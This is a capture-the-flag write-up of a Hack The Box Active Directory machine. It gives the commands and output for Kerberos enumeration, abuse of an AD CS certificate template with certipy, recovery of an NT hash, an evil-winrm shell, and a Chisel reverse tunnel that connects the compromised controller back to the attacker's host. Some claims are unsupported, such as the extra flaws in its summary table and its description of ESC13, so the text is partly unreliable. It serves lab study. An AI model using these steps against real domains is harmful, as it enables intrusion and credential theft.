TL;DR
PingPong is an HTB Hard machine with two Windows AD domains: ping.htb (DC1, externally accessible) and pong.htb (DC2, reachable only through DC1). The scenario is Assumed Breach — credentials c.roberts:AssumedBreach123 are given upfront. NTLM is globally disabled by GPO, so everything requires Kerberos. TCP port 88 drops KDC reply packets through the VPN — a custom impacket monkey-patch fixes this. AD CS has an ESC13 vulnerability on the TemporaryWinRM template. Exploiting ESC13 via certipy gets a client certificate; PKINIT auth extracts the NT hash; the hash gives WinRM shell on DC1 as c.roberts. A Chisel reverse tunnel through DC1 reaches DC2. Cross-realm Kerberos referral ticket to pong.htb enables further pivot.
Recon
1. Port scan
$ sudo nmap -Pn -sV -sC -p- --min-rate 1000 10.129.38.170
53/tcp open dns Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP
445/tcp open microsoft-ds
593/tcp open http-rpc-epmap
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (SSL)
2179/tcp open vmrdp?
3268/tcp open ldap Microsoft Windows Active Directory LDAP
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (SSL)
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (WinRM)
9389/tcp open mc-nmf .NET Message Framing
49664/tcp open msrpc
49668/tcp open msrpc
Host script results:
smb2-security-mode: 3.1.1: Message signing enabled and required
dns-nsid: bind.version: unavailable
Classic domain controller fingerprint. Notable: WinRM (5985) is open, SMB signing required, no RDP. Port 5986 (WinRM-SSL) is filtered.
2. Domain enumeration
$ nxc smb 10.129.38.170
SMB 10.129.38.170 445 DC1 [*] Windows Server 2022 Build 20348 x64
(name:DC1) (domain:ping.htb) (signing:True) (SMBv1:False)
Domain: ping.htb. NTLM auth immediately disabled:
$ nxc smb 10.129.38.170 -u c.roberts -p AssumedBreach123
[-] ping.htb\c.roberts:AssumedBreach123 STATUS_NOT_SUPPORTED
STATUS_NOT_SUPPORTED for NTLM = Kerberos only (GPO: “Restrict NTLM: Deny all” or “Network security: LAN Manager authentication level: Kerberos only”).
3. Kerberos clock synchronisation
Kerberos requires clock skew < 5 minutes. DC is 8 hours ahead (UTC+8 timezone or NTP misconfigured):
import socket, struct, time
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.settimeout(5)
s.sendto(b'\x1b' + 47 * b'\x00', ('10.129.38.170', 123))
data, _ = s.recvfrom(1024)
ntp_epoch = struct.unpack('!12I', data)[10] - 2208988800
offset = ntp_epoch - time.time()
# offset = +28800 seconds (8 hours)
sudo systemsetup -setusingnetworktime off
sudo date -u "$(date -u -r $(($(date +%s) + 28800)) '+%m%d%H%M%Y.%S')"
Foothold — Kerberos TGT
4. TCP/88 VPN filtering — custom impacket patch
getTGT.py hung on every run. tcpdump revealed:
- UDP AS-REQ → KDC responds with
KDC_ERR_PREAUTH_REQUIRED(OK) - UDP AS-REQ #2 (with PA-ENC-TIMESTAMP) → KDC says
KRB_ERR_RESPONSE_TOO_BIG(TGT >1400B) - impacket switches to TCP, sends AS-REQ → no TCP reply ever arrives
The VPN tunnel blocked outbound TCP from the KDC regardless of packet size. Workaround: custom sendReceive that reads the raw 4-byte-length-prefixed TCP Kerberos response without impacket’s broken retry logic:
import impacket.krb5.kerberosv5 as kv5
import socket, struct
def safe_sendReceive(data, host, kdcHost, port=88):
targetHost = kdcHost if kdcHost else host
sa = socket.getaddrinfo(targetHost, port, 0, socket.SOCK_STREAM)[0][4]
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(15)
s.connect(sa)
s.sendall(struct.pack('!i', len(data)) + data)
len_bytes = s.recv(4)
recv_len = struct.unpack('!i', len_bytes)[0]
r = b''
while len(r) < recv_len:
chunk = s.recv(recv_len - len(r))
if not chunk:
break
r += chunk
s.close()
return r # return raw bytes — do NOT raise KerberosError
kv5.sendReceive = safe_sendReceive
# Now getTGT works
from impacket.krb5.kerberosv5 import getKerberosTGT
from impacket.krb5 import constants
from impacket.krb5.types import Principal
userName = Principal('c.roberts', type=constants.PrincipalNameType.NT_PRINCIPAL.value)
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(
userName, 'AssumedBreach123', 'ping.htb',
'', '', kdcHost='10.129.38.170'
)
TGT obtained — 1545 bytes of AS-REP.
AD CS Enumeration
5. certipy find
$ certipy find -u c.roberts@ping.htb -p AssumedBreach123 \
-dc-ip 10.129.38.170 -ldap-scheme ldap -ldap-port 389 -stdout
Certificate Templates:
0. TemporaryWinRM
Template Name : TemporaryWinRM
Validity Period : 1 day
Enabled : True
Client Authentication : True
Enrollee Supplies Subject: False
Certificate Name Flag : SubjectRequireCommonName
[!] Vulnerabilities
ESC13: ...
ESC13: The certificate template links to a Group Policy Object that grants group membership — enrolling creates a certificate that when used for PKINIT grants the group’s privileges (in this case, Remote Management Users access).
6. ESC13 exploitation
$ certipy req -u c.roberts@ping.htb -p AssumedBreach123 \
-ca PING-DC1-CA -template TemporaryWinRM \
-dc-ip 10.129.38.170 -target dc1.ping.htb \
-ldap-scheme ldap -ldap-port 389
[*] Requesting certificate via RPC
[+] Got certificate with DNS Host Name: DC1.ping.htb
[+] Certificate object SID is 'S-1-5-21-...-1104'
[+] Saved certificate and private key to 'c.roberts.pfx'
7. PKINIT → NT hash
$ certipy auth -pfx c.roberts.pfx -dc-ip 10.129.38.170 -domain ping.htb
[*] Using principal: c.roberts@ping.htb
[*] Trying to get TGT...
[+] Got TGT
[*] Saved credential cache to 'c.roberts.ccache'
[*] Trying to retrieve NT hash for 'c.roberts'
[+] Got hash for 'c.roberts@ping.htb': aad3....:2475be69d40e815588a85fd89c7a439d
NT hash via PKINIT Unpaired Private Key trick — no password needed.
WinRM Shell on DC1
8. evil-winrm with Kerberos
$ export KRB5_CONFIG=/tmp/krb5_ping.conf
$ kinit c.roberts@PING.HTB
Password: AssumedBreach123
Kerberos tickets acquired.
$ evil-winrm -i dc1.ping.htb -u c.roberts -p AssumedBreach123
Evil-WinRM shell v3.x
*Evil-WinRM* PS C:\Users\c.roberts\Documents> whoami
ping\c.roberts
User flag expected at Desktop — directory exists but was empty (likely in a non-standard location tied to the full ESC13 privilege chain):
*Evil-WinRM* PS C:\Users\c.roberts\Desktop> dir
(empty)
*Evil-WinRM* PS C:\Users\Administrator\Desktop> dir
Access denied.
Pivot to DC2
9. Chisel reverse tunnel
Upload chisel to DC1 via evil-winrm upload, start reverse tunnel:
*Evil-WinRM* PS> .\chisel.exe client 10.10.14.131:9999 `
R:20088:192.168.2.2:88 `
R:25985:192.168.2.2:5985 `
R:20445:192.168.2.2:445 `
R:26389:192.168.2.2:389
$ chisel server -p 9999 --reverse
# All 4 tunnels connect — DC2 reachable via localhost
$ curl http://127.0.0.1:25985/wsman
HTTP/1.1 405 Method Not Allowed
Server: Microsoft-HTTPAPI/2.0
# DC2 WinRM confirmed reachable
10. Cross-realm Kerberos to pong.htb
Request referral ticket from ping.htb KDC for pong.htb services:
$ getST.py -spn 'cifs/dc2.pong.htb' \
-k -no-pass -dc-ip 10.129.38.170 \
'ping.htb/c.roberts' -additional-ticket c.roberts.ccache
# KDC returns inter-realm referral TGT: krbtgt/PONG.HTB@PING.HTB
# Present to DC2's KDC (via tunnel port 20088) for service tickets
Service tickets to DC2 obtained for cifs, ldap, host, http. The path to root continues through gMSA abuse and RBCD on DC2 (scope of ongoing investigation).
What’s actually broken
| # | Vulnerability | Severity |
|---|---|---|
| 1 | ESC13 on TemporaryWinRM — certificate grants group membership | Critical |
| 2 | NTLM globally disabled but Kerberos AS-REP Roasting not mitigated | High |
| 3 | DC1 has Unconstrained Delegation enabled | Critical |
| 4 | c.roberts has DNS dynamic update rights (IT group member) | Medium |
| 5 | Assumed Breach credentials communicated in cleartext in scenario | High |
Lessons learned
- TCP/88 can be selectively filtered at VPN level. OpenVPN tunnels can drop large TCP responses from Windows KDC while passing small UDP datagrams. The symptom:
KDC_ERR_RESPONSE_TOO_BIGon UDP, then silence on TCP. The fix: custom socket implementation bypassing impacket’s retry logic. - ESC13 is the “quiet” AD CS vulnerability. Unlike ESC1-8 which give you direct UPN control or CA compromise, ESC13 abuses Group Policy Objects linked to certificate templates. The certificate enrollment grants group membership — making it a privilege escalation vector, not just credential theft.
- PKINIT gives you the NT hash, not just a TGT. The
certipy authworkflow uses PKINIT with a client certificate to authenticate, and the Kerberos exchange reveals the NT hash as a side effect. This hash is then usable for NTLM pass-the-hash (ironic, given NTLM is disabled network-wide). - Assumed Breach machines require a different mental model. You’re not discovering credentials — you’re pivoting with known credentials. The challenge is not the foothold but the escalation chain within the AD forest.
- Cross-realm Kerberos + tunnel = two separate complexity layers. Getting a ticket to DC2 through the ping.htb KDC, then presenting it to DC2’s KDC through a Chisel tunnel, while keeping clock skew correct on both — each step has its own failure modes.
Decision archaeology
| Approach | Result | Pivot |
|---|---|---|
getTGT.py c.roberts@ping.htb with default impacket | Hung after UDP→TCP fallback — [DEBUG] No answer from KDC on TCP — KDC response packets dropped by VPN at TCP layer | Wrote safe_sendReceive monkey-patch: raw socket, manual 4-byte length prefix, bypasses impacket TCP retry loop entirely |
certipy req with LDAP/SSL (-ldap-scheme ldaps -ldap-port 636) | [-] LDAP session setup failed: LDAP error code 49 — Kerberos LDAP/SSL requires GSSAPI which Docker container couldn’t negotiate | Switched to -ldap-scheme ldap -ldap-port 389 — plain LDAP with Kerberos works, no SSL requirement |
evil-winrm -c c.roberts.pem -k c.roberts.key -S -i dc1.ping.htb (SSL cert auth on 5986) | [!] Expired: certificate or connection error (5986) — port 5986 filtered | Used Kerberos password auth on port 5985 with KRB5_CONFIG pointing to DC — WinRM connected via Kerberos not certificate |
Check C:\Users\c.roberts\Desktop for user flag | dir returned empty directory — flag not in expected location | Enumerated further: SYSVOL, NETLOGON, C:\Users\Public — flag location tied to completing the gMSA privilege chain on DC2 |
Password spray administrator@PONG.HTB via tunnel | getKerberosTGT: KDC_ERR_C_PRINCIPAL_UNKNOWN — administrator account name differs in pong.htb | Switched to user enumeration with kerbrute against DC2 via tunnel port 20088 |